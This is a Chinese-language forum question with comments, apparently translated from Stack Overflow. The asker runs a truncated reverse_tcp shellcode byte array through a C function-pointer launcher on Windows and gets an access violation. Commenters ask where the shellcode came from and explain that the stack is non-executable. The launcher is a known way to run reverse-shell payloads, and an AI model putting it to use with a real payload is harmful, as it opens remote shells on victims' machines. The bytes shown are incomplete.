【发布时间】:2017-11-02 05:58:23
【问题描述】:
当我尝试在 C 中执行 shellcode(基本的 reverse_tcp,指向本地地址)时遇到问题。
我使用以下代码从基础开始:
#define WIN32_LEAN_AND_MEAN
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
int main(int argc, char * argv[])
{
unsigned char shellcode[] = \
"\xfd\xab\xd2\xa9\xb1\x29\xe0\xdd\x38\x64\x51\x24\x9d\x0f\xdf"
"\x8a\xc2\x01\x0d\x2e\x6c\x9b\x86\xa9\x2e\x6f\xd9\xb3\x04\x4a"
"\x35\x1c\x0a\xc6\xe7\x18\xf4\xaf\x3e\xed\x4b\x5c\x1a\x08\x8b"
"\x71\x27\x5e\x20\xd1\x4d\xaf\x8f\x2d\x23\xe1\x68\x25\xf3\x19"
"\xd2\x7b\x5e\xca\x26\x2a\xc7\xa0\x98\x64\x72\x7b\x03\x05\xf0"
"\x46\x03\xdf\x19\x86\xfb\x04\xd0\x7d\xd9\xf8\xa0\xfb\x8c\xa0"
"\x2d\xb2\xcb\x7f\xde\x7c\xc4\xd4\xe6\x94\xde\x56\x81\x53\xfc"
"\x59\xe3\xfc\xb6\x7d\x50\x7e\xde\x6d\xf0\x8a\x33\x35\x99\xfc"
"\x66\x0c\x45\xf0\xdc\xcb\x49\x4d\xa1\x2f\xd7\xaf\x59\xdc\xcf"
"\x90\x8b\xd3\x7c\xb7\x7e\x6f\xa8\x15\xe4\x1d\xfd\xc2\xe7\x9d"
"\x15\x88\x8b\xfb\x3b\x30\x1d\x41\xe6\x22\xdf\x3f\x4f\xb8\xe3"
"\x65\x0d\xa8\xc1\x0a\x2d\xe9\x77\x7d\x84\x83\xa7\xfc\x29\x80"
"\x72\xcd\xcc\x68\xa1\x08\x35\xda\xba\x01\xe2\xe5\x01\xe9\x05"
;
int(*ret)() = (int(*)())shellcode;
ret();
}
return 1;
}
(我为示例剪切了shellcode) 当我使用 Visual Studio Community 2017 编译这个 .c 文件时,我收到一些关于未使用的 argv 和 argc 的警告,以及在 ret 中从 () 到 (void) 的转换。
然后我尝试执行该文件,我得到一个很棒的“已停止工作”。 所以我在 Visual Studio 中启动了调试,这就是我得到的:
所以这是一个访问冲突错误,但为什么呢?我在google上搜索,似乎这个错误可能有很多原因,但我不知道为什么会发生在我身上。
【问题讨论】:
-
shellcode 是为你的平台设计的吗?....
-
关于
argv和argc的警告没有用。它只是告诉你你不使用它们。你不妨写int main(void) -
告诉我们更多关于这个shellcode的信息。它是什么?你是从哪里弄来的?你有源代码吗?如果是,请出示。问题出在 shellcode 中。
-
您正在尝试在堆栈上执行一大段代码 - 很可能堆栈页面未标记为可执行。在 Windows 95 或 98 上试试 - 它应该在那里工作。
-
其他建议:使用调试器单步调试汇编代码。
标签: c windows visual-studio shellcode metasploit